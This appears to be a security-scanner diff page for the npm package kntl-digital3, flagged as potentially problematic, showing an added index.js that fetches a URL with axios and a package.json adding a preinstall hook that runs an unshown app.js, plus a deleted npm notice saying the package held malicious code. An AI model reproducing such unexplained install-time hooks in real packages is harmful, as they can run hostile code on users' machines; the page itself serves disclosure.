kntl-digital3 0.0.1-security → 1.2.0
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of kntl-digital3 might be problematic. Click here for more details.
- package/app.js +11 -0
- package/index.js +19 -0
- package/package.json +12 -3
- package/README.md +0 -5
package/app.js
ADDED
package/index.js
ADDED
@@ -0,0 +1,19 @@
|
|
1
|
+
const axios = require('axios');
|
2
|
+
|
3
|
+
function kntl(url)
|
4
|
+
{
|
5
|
+
axios
|
6
|
+
.get(url)
|
7
|
+
.then(res => {
|
8
|
+
console.log(`statusCode: ${res.status}`);
|
9
|
+
console.log(res);
|
10
|
+
})
|
11
|
+
.catch(error => {
|
12
|
+
console.error(error);
|
13
|
+
});
|
14
|
+
|
15
|
+
console.log('crot');
|
16
|
+
|
17
|
+
}
|
18
|
+
|
19
|
+
module.exports = kntl
|
package/package.json
CHANGED
@@ -1,6 +1,15 @@
|
|
1
1
|
{
|
2
2
|
"name": "kntl-digital3",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "1.2.0",
|
4
|
+
"description": "",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "node app.js",
|
8
|
+
"preinstall": "node app.js"
|
9
|
+
},
|
10
|
+
"author": "",
|
11
|
+
"license": "ISC",
|
12
|
+
"dependencies": {
|
13
|
+
"axios": "^0.27.1"
|
14
|
+
}
|
6
15
|
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=kntl-digital3 for more information.
|